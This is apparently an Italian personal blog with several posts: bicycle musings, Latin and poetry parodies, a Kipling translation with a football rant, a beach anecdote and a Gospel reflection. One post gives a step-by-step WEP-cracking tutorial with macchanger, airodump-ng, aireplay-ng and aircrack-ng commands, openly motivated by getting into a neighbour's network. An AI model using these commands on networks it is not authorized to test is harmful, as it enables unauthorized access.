Bicicletta.

 

Allora cominciamo con la definizione matematica.. che cos’e’ una bicicletta.

Un triangolo e due circonferenze e definirla sessualmente ad una donna e’ semplice due circonferenze ed un triangolo e secondo voi perche’ si dice montare in bici?.
Pensateci bene, e’ uno dei mezzi piu’ economici che possiede l’uomo per percorrere lo spazio ad una velocita’ superiore a quella che otterrebbe correndo con le sue sole gambe.

Pero’ anche la bici ha bisogno di gambe, ma per far girare i pedali, per moltiplicare meccanicamente lo sforzo.

La meraviglia della bicicletta e’ che trasforma noi, esseri a tre dimensioni, in bipedi a due dimensioni.

La bicicletta, almeno dal punto di vista fisico, e’ una struttura
bidimensionale…non ha quasi spessore.

La terza dimensione e’ solo quella dei pedali e del manubrio, che e’ il vero punto in cui ci manifestiamo nello spazio (la sella invece, e’ qualcosa di ambiguo, come ha capito benissimo Picasso che l’ha trasformata, col manubrio in una testa di toro).

Ebbene, la cosa meravigliosa delle due ruote, e’ il fatto che noi a cavalcioni della bicicletta scivoliamo sulla pelle del mondo muovendoci tra cielo e terra.. l’aria e’ lo strumento che noi attraversiamo, mentre siamo tangenti alla terra mediante un sottile tubolare rigonfio, quasi una linea.

Negli ultimi anni, la bicicletta si e’ evoluta, tanto e’ vero che come per l’automobile, non esiste piu’ un solo modello..dall’avvento della mountain bike, vera novita’ che invase le nostre citta’ una ventina di
anni fa’..era l’equivalente della Jeep.

La bicicletta quindi ha cambiato forma e dimensione delle gomme della sella e dei componenti ma ha cambiato un modo di vita, siamo tornati su lei con criteri diversi.. prima era considerata un mezzo
di chi non poteva permettersi altro che lei, ora e’ un mezzo che serve per farci andare piu’ veloci, piu’ liberi e con desiderio di muovere questo corpo che ormai non e’ piu’ avvezzo a sforzi e per darci dentro ora anche i meno dotati o piu' pigri si avventurano in posti recondi con la pedalata assistita.

E vai bicicletta, siamo tornati uniti al tuo triangolo e alle tue due circonferenze (per i non competenti due quadrati).

 

 

Bucare reti Wireless...

 

Entrare nelle reti wifi di altri e’ illegale e fatta la premessa dobbiamo risolvere il fatto che in facolta’ i server fanno cagare veramente e il vicino di appartamento bastardo per che cavolo ha ficcato la pass.. quindi a livello studio vediamo di bucarla..o quantomeno tentiamo..

Armiamoci e partite prendete..

1) Un pc portatile con una scheda wireless compatibile con backtrack
2) Un dvd con backtrack che potete scaricare da qui
3) Pazienza e una chiave di rete wep

Inseriamo il dvd di backtrack e facciamolo partire prima di windows una volta terminato il caricamento scriviamo sul terminale: startx

In questo modo si avviera’ la modalità grafica, eccoci finalmente in backtrack.

Iniziamo subito, apriamo il terminale o meglio la console.

Digitiamo subito iwconfig e vediamo come si chiama la nostra scheda wireless (dovrebbe essere wlan0)

Assicuriamoci che il wireless sia spento e cambiamo il nostro indirizzo MAC (ma visto che stiamo testando la nostra rete casalinga non credo sia necessario -.-), scriviamo:

airmon-ng stop wlan0
scriviamo
ifconfig wlan0 down
scriviamo
macchanger -m 00:11:22:33:44:55 wlan0

Abbiamo cambiato il nostro indirizzo mac in 00:11:22:33:44:55 potete anche cambiarlo, l’importante e’ ricordarlo! Anche wlan0 puo’ cambiare dipende dalla scheda wireless.

Adesso accendiamo la scheda wireless scrivendo:
airmon-ng start wlan0

E iniziamo finalmente a scannerizzare la zona per cercare LA RETE DI CASA NOSTRA e digitiamo:
airodump-ng wlan0

Ora compare la schermata con tutte le reti wifi che il nostro pc riesce a rilevare, scegliamo quella che dobbiamo bucare IN QUESTO CASO QUELLA NOSTRA PERCHE’ DOBBIAMO TESTARLA.

Quindi una volta che compare la rete che ci interessa premiamo control+c e il processo dovrebbe stopparsi.

Ora prendiamo carta e penna e segniamo il canale (CH) il BSSID e anche l’ESSID della nostra rete.

Digitiamo adesso questo comando; (le parentesi dovranno essere sostituite con i vostri dati):

airodump-ng -c (CH) -w sme –bssid (BSSID) wlan0

In questo modo “spiamo” solo la nostra rete, quindi sostituite CH e BSSID con i vostri dati e dove c’e’ scritto sme potete lasciarlo cosi’ o mettere un nome qualunque, l’importante e’ che lo ricordiate.

Adesso apriamo un altra console/terminale e scriviamo:

aireplay-ng -1 0 -a (BSSID) -h 00:11:22:33:44:55 -e (ESSID) wlan0

se siete fortunati dovrebbe uscire scritto “autenticazione riuscita”; comunque date anche questo comando:

aireplay-ng -3 -b (BSSID) -h 00:11:22:33:44:55 wlan0

se tutto va per il verso giusto diamo il comando:

aircrack-ng -n 64 -b (BSSID) sme-01.cap

e dovrebbe comparire la chiave di rete; togliete i due punti che dividono a due a due la password e.. il buco e’ fatto.

Stretta la foglia, larga la via, bucate la vostra che io buco la mia.

Concludiamo il post con la striscia agostiniana dello Ste e l'illustrazione dei problemi famigliari..

 

Nutella Nutellae

 

Considerato la giornata che volge al Garbino lascia la spiaggia e prenditi il vino anzi no prendiamo un vecchio post in latino (arrangiatum) e un barattolo Netellorum e passiamo il pomeriggio dai:

Nutella omnia divisa est in partes tres:

Unum:
Nutella in vaschetta plasticae.

Duum:
Nutella in vitreis calicibus custodiae.

Treum:
Nutella in magno baractolo sita (magno baractolo sì, sed melium est si "magno" (romanesca favella) Nutella in baractolo.

Nutella omnibus pueris atque puellae placet, sed, si troppa Nutella fagocitare, cicciones divenire, cutaneis eructionibus sottostare et brufolos pedicellosque supra facie stratos formare, atque, ipso facto, diarream cacarellamque subitanea venire.

Propterea
quod familiares, et mammae in particularis, semper Nutella in impensabili locis celant ut eviteant filiis sbafare, come soliti sunt.

Sed
domanda spontanea nascet: si mamma filiales sbafationes contraria est, pera Nutella comprat et postea celat?

Intelligentiore fuisse non Nutella comprare manco per nihil…sed forse etiam mammae Nutella sbafant: celatio altrum non est quam materna propterea trasversalis vendettam
quod ea stessa sua volta matris suae victima fuit.

"Sic
heri mamma tua Nutella celavit, sic hodie filiis tui Nutella celit".

Sed
populum toto ingenium puerorum cognoscit si in ballo Nutella est: vista felinos similante habent ut in tenebris credentiarum scruteant; manes prensilis aracnidarum modo ut super scaffalos sgabuzzinarum arrampicant; olfactum
caninum, canibus superior, per Nutella inter mucchios anonimarum marmellatarum fructarum scovare.

Memento
semper: filius, inevitabile, Nutella scovat.

Sed
non semper magnat. Infactum, fruxtratione maxima filius habet quando barattolum scovat, sed hoc baractolum novum atque sigillatum est, propterea quod si filius
aprit et baractolum intonsum intaccat, sputtanatus fuisse!

("Ah!Novus atque sigillatus erat!").

Hoc
res demonstrat omnibus mammis nascondimentos baractolorum Nutellae fatica sprecata esse.

Salutis bacisque

De Carlus DemetriumTogarusXXIX de Casalbordinorum lidus

DE
NUMEROSIBUS MODIS PER NUTELLAM MANDUCARE ATQUE STRAFOCARE IN OMNIBUS
OCCASIONIBUS

Sbafatio Nutellae omnia divisa est in partes tres.

Unum: Sbafatio Normalis (ufficialis in prima colatione cum supervisione
mammarum).

Duum: Sbafatio Peccaminosa atque Clandestina (sfructandum absentiam mammarum
quae uscitae sunt ad spesam faciendam).

Trium: Sbafatio Hitchcock, ad altissimum rischium sputtanandi esse (ovverum quando Nutella sbafada est clandestiniter mamma praesens in alterum locum in
casa, et habet suos cazzos faciendos, sed ab uno momento ad alterum retornare potest in cucina).

CAPITOLUS PRIMUM

Sbafatio Normalis

Clarum est quae Prima Colatio, mamma observante et controllante, apportare potest goduriam relativam: quantae volte filius giungit ad tabulam credendo videre fettes paninorum integralium et invicem sunt panini normali supra quos mamma spalmavit stratum simbolicum Nutellae, carta velina similantem, quae causat colorationem beigem et quindi effectum opticum paninibus integralibus.

Mammae fixate sunt Nutellam male facere ad panciam et propterea quod semper volunt tenere in oculo filios magnantes Nutellam et (loro stesse) spalmant fetta per fettam.

Sed quaesitum spontaneum nascit: si mamma vae semper dicunt filium ormai est diventato magno, est hora ut sibi faciat lettum in camera da solum, est hora ut sibi faciat unum lavorum, ut sibi faciat unam familiam, ut sibi faciat unam casam, quia mannaggia la mortem non sibi potest facere da solum paninos quoque?

I panini nullo modo! Paninos non se li potest facere; paupertate suina! (Porca miseria!). Paninos cum Nutella facit semper mamma!

Difficilissimus est, quando mamma preparat panem atque Nutellam, distinguere paninos iam preparatos a paninis qui preparaturi sunt: in facto Nutella spalmata tantum poca est quae quasi non si notat differentiam. Et hac res accadit poiche’ mamma pensat sbafationem esageratam Nutellae directa causa esse tropporum sestertiorum qui spendituri sunt in Clearasil Topexanque.

Et nos d’accordum quoque fuissimus, si postea mamma ipsa filios non rimpinzasset cum alteris micidialibus schifezzis, typus Medagliones Pollorum Manzotin, Simmenthal carnes, Spunti’ que et qui plus ne habet plus ne mettat: totae res
quae habent plus colorantes et conservantes lorum, quae facies Marinae Ripa Meanae at que Sandra Milii quando se truccant.

Ad hoc punto, normalis est insinuatio in capoccia filii desiderium vindictae at que rappresagliae nazistae similem: per ogni singulum cucchiainum Nutellae negatum causa mammae, decem cucchiainos magnaturi sunt cum sbafationibus clandestinis.

CAPITOLUS SECUNDUM

Sbafatio Peccaminosa Atque Clandestina

Conditio sine qua non per exercitare Sbafationem Peccaminosam at que Clandestinam est "Absentia Mammae".

Purtroppum, sicut omnes cognoscunt, quando filius habet irrefrenabilem libidinem Nutellae, mamma semper praesens est infra scatolas.

Isti momenti sfructandi possunt ad individuandum secretum nascondilium Nutellae.

Individuato nascondilio, cum dovuta calma attendere debetur uscitam
mammae.

Extremae importantiae res est agire subito postea uscitam mammae, quia absentia potest esse durata longa aut brevis.

Trovato barattolo in remoto mobile cucinae, occultatum a barriera protectionis mammistica, formata ab falange multiplae filae barattolorum Pelatorum, Fagiolorum, Confetturae Fructae, absolutamente debetur rimembrare esactum ordinem cum quo si spostant omnes barattolos antistantes Nutellam, quia, postea, totum debet esse remissum exactamente sicut erat: quasi semper, in facto, mammae habent piantinam disposictionis barattolorum in mobile et, appena tornatae, controllant…

Haec Sbafatio Clandestina difficiliter sgamata ab mamma, a meno quod non accadeat aliqua tragica fatalitas causa totalium sputtanamentorum:

Tragedia prima.

Sputtanamentum Automobilisticum: mamma est appena uscita, et filius fiondaturus est supra Nutellam, sed inaspectata-mente, mamma retro venit quia dimenticata fuit chiavi centoventisettis, et filius colto est cum quattuor
ditis affondatis in barattolo;

Tragedia secunda.

Sputtanamentum Equilibristicum: captum ab attacco godimenti Nutellico, filius, in praecario equilibrio super sgabellinum (utilem ut raggiungat altissimum pensilem) facit mossam falsam causando totalem crollum totorum barattolorum in mobilem atque conseguentem drammaticam mischiationem ordinis precostituiti.

Unica possibilitas ad sgamatos non esse ab mamma est simulare movimentum sismicum octavo grado scalae Mercallorum, sed sperantiae quae mamma abboccat
minime sunt, a minus quod rincoglionita totaliter fuisse;

Tragedia tertia.

Sputtanamentum familiare: in bel mezzum sbafationis arribat fratellinus minor secchionis atque un minimum cacacazzus, qui ricattare potest fratellum grandem
in saecula seculorum.

CAPITOLUS TERTIUM

Sbafatio Hitchcockiana

Sine dubium, hac sbafatio est plus difficilis atque rischiosa et est ultima possibilitas rimasta filio disperato si crisis abstinentiae est profunda et mamma non habet minimam ideam uscendi ab casa. Technicae usandae demandatae
sunt ad sensibilitatem atque alto grado seafationis filii; professionalitas ognunorum est in ballo: honor categoriae Sbafatorum Clandestinorum salvandus est. Unicum consilium ut filius evitet clamorosas figuras ex sterco est tendere orecchium typum Star Trek ut si advertat eventualem appropinquamentum passorum
mammae (Se nella vostra domo habete moquettem, fottutis siete ad novantaquinque per centum).

In omni modo, in generale, necesse est non indugiare troppo in magico momento estasis Nutella raggiunta. Ad Sbafationem Hitchcockiana suggerita est tattica "Na botta e via".

Eh! Quod mazzum ut si raggiungeat minimam dosem giornalieram Nutellae!

CAPITOLUS QUARTIUS

Sbafatio Peccaminosa Atque Clandestina

In omni modo, fermo restante, a parte filii, generalis rodimento deretani,
ultimi quaesiti nascunt:
mammae, ma si perfinus per drogam lex previdit modicam quantitatem… mammae, cur estis sic cacacazzi cum fillis tantum cum Nutella?

Et non vi transeat manco per anticameram materiae cerebralis si filius
returnans ad domus ammaccavit macchinam subito retirata ab carrozziere mattina antecedente; et non vobis ne potest fregare minimum se filius in pagella habet votos similes temperaturibus minimae Bolzanii; et non vi passat manco po’ cazzum se amici filii sunt brutti ceffi absolute minime raccomandabiles inter quos famigeratus Peppe, notissimus per spacciationem substantiarum vietatissimarum ab lege (Inter parentesis, vos mammae benissimo cognoscete quia
vendit vobis moltiplices qualitates herbarum ab Marocco provenientes) et ponemus petram supram; sed dico ego, proprio cum Nutella vobis ispiratis ad cazzum cacandi? Ma dateve na regolatam!

 

 

MORALIS
ISTAE FABULAE

Mammae, vobis chiedemus cum voce ab plancto rupta

cacciate ‘sta Nutellam

…Maialam Mignottae!

Stephanus et surculum quem forte hic Matthaeus Nisl id

Dedicata ad ER mione.

 

Il fatto che i miei gusti siano piu’ che altro a sfondo satirico/goliardico mi inducono a preferire delle parodie di cose celebri che a scuola ci hanno inculcato e anziche’ vederle come travi negli occhi a volte possono essere divertenti no?

Ad es. uno dei lavori del D’Annunzio (considerato che sono qui nella sua terra), da me piu’ volte preso per il culo per la faccenda della costola che si e’ tolto per potersi autoblowjobare (balla metropolitana che girava a scuola.o no?)..

dicevo una poesia che lo stesso ha dedicato alla sua sbarbata …

ad ER mione.

Ci ricordiamo pesantemente la scena nel bosco sul litorale Toscano sotto una pioggia d’estate, quando il poeta passeggia con la sua donna e gli dice di stare zitta muta e rassegnata per sentire la musica delle gocce (di pioggia ovvio almeno spero) che cadono un poco dappertutto e che trasformano i due in creature vegetali, questa parte della poesia lascia libera interpretazione alle frasi del tipo penetrazione vegetale, vabbe’ si potrebbe parodiare a questo punto in maniera troppo facile per essere distorta e di cattivo gusto, sempre sotto parodia, ovvio fatta stringata in due tempi per non essere troppo presa sul serio e per non rompere le palle a chi per caso
la leggera’. Insomma .. capite che scherzando con la poesia, la parodia ne mette in luce anche la grandezza.

Sara’ un gioco tra il classico e lo scherzo.

Questa non e’ poesia leggera (la seconda neh), cabaret: e’ poesia comica, .

Si tratta di una presa per il culo, che si rifa’ ai testi, , ma anche agli sputtanamenti sui poeti».

Che ve devo di’ a me piace ed e’ un modo per ricordarsi la poesia pesante del Divino Gabriele no?Specialmente in queste giornate di pioggia di Casalcoso e ne e' venuta parecchia per la gioia degli agricolviticultori

(senti le sue ossa come vibrano nella fossa)…

e fa’ anche rima baciata rima
fortunata..

La pioggia sul Cappello

(parodia della “La Pioggia nel Pineto”)

Zitta, muta.Il cielo
e’ diventato una nube
vedo oscurarsi le tube
non vedo l’ombrello
ma odo sul mio cappello
di paglia..
Da venti euro e cinquanta.
la gocciola che si schianta
Come una bolla
tra il nastro e la colla.
Minchia..piove
sicuramente
piove sulle matrone
vestite di niente
piove sui bimbi recalcitranti
piove sui mezzi guanti
turchini.
piove sulle giunoni
sulle sbarbate a passeggio
piove sovra i coglioni
e quel che e’ peggio
piove sul mio cappello
leggiadro,
che ieri ho pagato
che oggi si guasta
piove governo ladro
E piove a dirotto
da tutte le nubi
piove dai tubi
sfasciati
Dall’acquedotto
del cielo
piove sui cani spelati
piove sul melo e sul tiglio
piove sul padre e sul figlio
piove sui putti lattanti
Sui sandali rutilanti
sul Pegaso bolso
su l’oriolo da polso
piove sul tuo vestitino
che m’e’ stato un tesauro
piove sulla salvia e sul lauro
Sull’erba e sul rosmarino
piove sulle vergini schive
piove su Pasife e Bacco
piove persin sulle pive
nel sacco
e piove soprattutto
Sul tuo cappellino distrutto
mutato in setaccio
che ieri ho pagato
e che adesso e’ uno straccio,
o Ermione
che scordi a casa l’ombrello
nei giorni di mezza stagione.

E concludo sto post domenicale dl sapore autunnale con lo strip dello Stefano e la sua preveggenza Covidiale..

 

SE,

 

E' una prassi nettamente inglese quella di dover rifiutare delle onorificenze.

Cento anni fa nel 1921 Joseph Rudyard Kipling rifiuto' di diventare Membro dell'Ordine al merito del Regno Unito e nello stesso tempo disse che SE saprai trattare la vittoria e la sconfitta allo stesso modo..sarai un uomo.

Che controsenso ipocrita hanno questi inglesi con la i minuscola, persino il principe e famiglia presenti alla finale, che secondo il protocollo reale avrebbero dovuto consegnare la coppa ai vincitori se n'e' sono andati assieme ai loro 50.000 sudditi.. per fortuna i nostri 6.000 hanno potuto festeggiare senza il patema di essere contagiati da questo popolo pseudo europeo che si permette di fischiare sull'inno nazionale degli avversari e rifiuta la mano tesa per aiutare a rialzarsi dopo un contatto di gioco. 

E che dire dei tifosi uk che prima applaudono i giocatori inginocchiati contro il razzismo e a fine partita Marcus Rashford, Jadon Sancho e Bukayo Saka sono stati riempiti da insulti ed emoji con la faccia da scimmia.

Un aneddoto sciamanatico lo dobbiamo a Chellini che quando calciavano i rigori ha gridato a tuttofiato "Kiricocho"..una parolo che puo' sembrare senza senso ed invece ha un significato arcaico ed oscuro, il cui potere solo i veri conoscitori della storia del calcio hanno ben presente.

Certo e' che per evitare di vedere la premiazione di questi uomini infantili a togliersi con disprezzo la medaglia dal collo avrebbero dovuto quantomeno offrirla a loro come elemosina in mano e per chi non l'avesse ritirata, ributtarla nel cesto della differenziata che distingue ominiemmerda e uomini veri. 

Eccezione fatta con Henderson che e' stato l'unico giocatore inglese a mantenere con onore al collo la medaglia ottenuta con sacrificio alla faccia dei giovani calciatori uk che hanno ritenuto figo togliersela con disprezzo a loro stessi.

Una lezione l'ha data anche il nostro Berrettini che ha ritirato il piatto d'argento complimentandosi con Djokovic il meritevole vincitore (con un sorriso del tipo..ci si rivede, tanto ho tempo).

Nel 1980 ci fu la finale a Wimbledon tra Borg e McEnroe e alle loro spalle su un muro ci stava scritto "If you can meet with Triumpph and Disaster And treat those two impostors just the same".

Se saprai confrontarti con Trionfo e Rovina e trattare allo stesso modo questi due impostori etc etc

Vabbuo' Vi traduco la poesia di Kypling e cerco di dimenticare la premiazione della finale che avrebbero dovuto tagliare e mettere lo spot del cellulare per i nonni che per quanto odioso era meglio di quello che ci hanno fatto vedere per lunghissimi sei minuti davvero penosi..

SE

Se saprai mantenere la testa quando tutti intorno a te
la perdono, e te ne fanno colpa.
Se saprai avere fiducia in te stesso quando tutti ne dubitano,
tenendo però considerazione anche del loro dubbio.
Se saprai aspettare senza stancarti di aspettare,
O essendo calunniato, non rispondere con calunnia,
O essendo odiato, non dare spazio all’odio,
Senza tuttavia sembrare troppo buono, né parlare troppo saggio;

Se saprai sognare, senza fare del sogno il tuo padrone;
Se saprai pensare, senza fare del pensiero il tuo scopo,
Se saprai confrontarti con Trionfo e Rovina
E trattare allo stesso modo questi due impostori.
Se riuscirai a sopportare di sentire le verità che hai detto
Distorte dai furfanti per abbindolare gli sciocchi,
O a guardare le cose per le quali hai dato la vita, distrutte,
E piegarti a ricostruirle con i tuoi logori arnesi.

Se saprai fare un solo mucchio di tutte le tue fortune
E rischiarlo in un unico lancio a testa e croce,
E perdere, e ricominciare di nuovo dal principio
senza mai far parola della tua perdita.
Se saprai serrare il tuo cuore, tendini e nervi
nel servire il tuo scopo quando sono da tempo sfiniti,
E a tenere duro quando in te non c’è più nulla
Se non la Volontà che dice loro: “Tenete duro!”

Se saprai parlare alle folle senza perdere la tua virtù,
O passeggiare con i Re, rimanendo te stesso,
Se né i nemici né gli amici più cari potranno ferirti,
Se per te ogni persona conterà, ma nessuno troppo.
Se saprai riempire ogni inesorabile minuto
Dando valore ad ognuno dei sessanta secondi,
Tua sarà la Terra e tutto ciò che è in essa,
E — quel che più conta — sarai un Uomo, figlio mio!

Erano uomini quelli che abbiamo visto???

 

Al lido di Casalcoso..

 

Ci sono due categorie di clienti ovvero quelli che sistemano sdraio e lettino a fianco dell'ombrellone e quelli che lasciano lettino aperto e la sdraio sistemata dovecazzopare a loro in quanto tutto e' compreso nel prezzo.

Quelli che sistemano tutto prima di andare via sono quelli che vedono lo stagista preposto alla sistemazione delle attrezzature e si accorgono che e' li a farsi un culo tanto...e voi sapete che la vita e tutta questione di culo o ce l'hai o te lo fanno..

Per i motivi di cui sopra nonostante la mia indole sia quella di lasciare tutto fuori dal posto, mi sorge spontaneo fare un gesto, un gesto da niente, non costa nessuna fatica.

Ma un gesto che dice tutto.

Ho sempre ammirato quelli non lasciano cio' che occupano fuori posto (riferito al Lido), perche' sono quasi sempre persone che riconoscono dignita' dello stagista, non lo trattano come un servo e sanno quanta parte ha la fortuna nel fatto che loro sono sdraiati li' a prendersi il sole e lui la a farsi il mazzo.(che fa rima con belino).

Tutto questo per dire che nella mia vita e' successo di trovarmi al lido con tante persone: scrittori, notai, avvocati, uomini politici, a volte anche personaggi della tv, operai del terzo turno linea di montaggio della Sevel, la maggior parte di loro, per quanto potenti e importanti, magari anche simpatici a volte, erano persone che non aiutavano il lavoro dello stagista.

Alcuni anzi spesso lo trattavano proprio male.

Caro usufruitore di lidi... sei arrivato quando ovunque tu sia arrivato, sei ancora uno che si sistema le attrezzature che ha usato e non per questo hai perso in dignita'..anzi e fai conto che quello stagista che hai davanti..futuro avvocato, notaio, ingegnere o dottore o carrellista della Sevel..potrebbe essere tuo figlio o tuo nipote.. trattalo bene e tratterai bene te stesso.

Vabbuo' vi auguro una buona domenica e Vi lascio alla striscia dello Stefano che a modo suo sarcasticamente ricorda quello che mamma Rai ipocraticamente sta ricordando dimenticandosi le dimenticanze di chi incensa...

Gesu'...il figlio della sciura Maria.

 

Gesù finalmente torna nel suo paese, Nazaret, seguito dai suoi discepoli.

Era stato assente da quando se ne era andato a predicare per borgate e villaggi vicini.

Il quadretto pare perfetto...   il Maestro è a casa propria, dove conosce bene usi, costumi e luoghi.

La gente lo ha visto crescere.

Ed è seguito da chi lo stima e lo ammira: i discepoli. Situazione perfetta.

Così si mette a insegnare nella sinagoga.

Successo assicurato.

L’obiettivo fotografico di Marco si sposta da Gesù a coloro che lo stanno ad ascoltare.

Erano molti, ci vien detto.

Grande pubblico.

E tutti rimanevano stupiti.

Ma che tipo di stupore era quello dei compaesani di Gesù? Da cosa deriva in questo caso?

È ammirazione?

No. Per niente.

Nel suo paese, Gesù era noto ai suoi vicini: come tutti,

del resto, lo sono nei piccoli centri.

Nei paesi c’è una conoscenza reciproca per cui si ritiene

di sapere tutto degli altri, anche grazie al gossip di borgo.

I compaesani di Gesù lo ascoltano e notano che egli non corrisponde all’idea che si erano fatti.

Gesù è altro.

Si dicevano l’un l’altro (evidentemente sottovoce mentre

Gesù parlava): “Da dove gli vengono queste cose? E che sapienza è quella che gli è stata data?

E i prodigi come quelli compiuti dalle sue mani? Non è costui il falegname, il figlio di Maria, il fratello di Giacomo, di Ioses, di Giuda e di Simone? E le sue sorelle,non stanno qui da noi?”.

La conoscenza paesana, quella fatta di cliché e ovvietà, non coincide con Gesù e questo destabilizza, turba.

Marco è molto diretto: era per loro motivo di scandalo.

Lo scandalo è letteralmente l’ inciampo”: i compaesani inciampano su di lui.

Perché?

Perché il manovale del paese parla con una sapienza che non dovrebbe avere.

Machi è? Ma chi si crede di essere? Non viene da una scuola rabbinica!

La gabbietta del gossip sul falegname, il figlio della signora Maria, non contiene quest’uomo che va in giro a predicare con sapienza straordinaria ed a operare prodigi.

La tentazione per la fede è sempre questa... essere affascinati da Gesù e rimanere però alla fine legati a una immagine addomesticata, banale, ovvia.

Confezionare Dio.

Qualche pio credente pretende di sapere chi sia il Signore, dove egli sia, dove egli non sia, e magari pure chi siano i suoi amici e i suoi nemici.

Dio non si addomestica. Dio è selvaggio.

Lo è per natura perché di Lui non si può

pensare nulla di più grande.

È incontenibile.

Chi tenta diimbrigliarlo si spacca.

Come i compaesani di Gesù che si turbano interiormente

(anziché essere fieri e orgogliosi di lui).

E Gesù lo sa, li sente bisbigliare.

Sa che cosa c’è nel loro animo.

Ed è schietto e duro con loro: “Un profeta non è disprezzato se non nella sua patria, tra i suoi parenti e in casa sua”.

La casa per il nostro Dio selvaggio può tramutarsi in luogo di misconoscimento e disprezzo.

Dio è socievole, ma non è mai pronto a “inserirsi in società”.

Il tentativo di addomesticare Dio, la resistenza a non lasciarsi guidare dal suo istinto apolide, dalla sua divinità che ci supera definitivamente, lo blocca perché non trova una libertà che lo accolga: lì non poteva compiere nessun prodigio.

Banalità e prodigio non si sposano.

E Gesù si meravigliava della loro incredulità.

Cioè egli stesso resta turbato davanti al rifiuto della profezia, di un discorso che supera l’ovvio e turba l’ordine.

Non riesce egli stesso a farsene una ragione.

E allora che fa?

Ci dice Marco: percorreva i villaggi d’intorno, insegnando. Torna a insegnare, sì, ma torna ramingo, incontenibile in un perimetro definito.

Come Dio è.

DA *Direttore de “La Civiltà Cattolica”

e adesso dal sacro passiamo al profano della striscia di Stefano che ci racconta una giornata al mare della Giorgia del Matteo degli zii (sputacchio con rimbalzo compreso)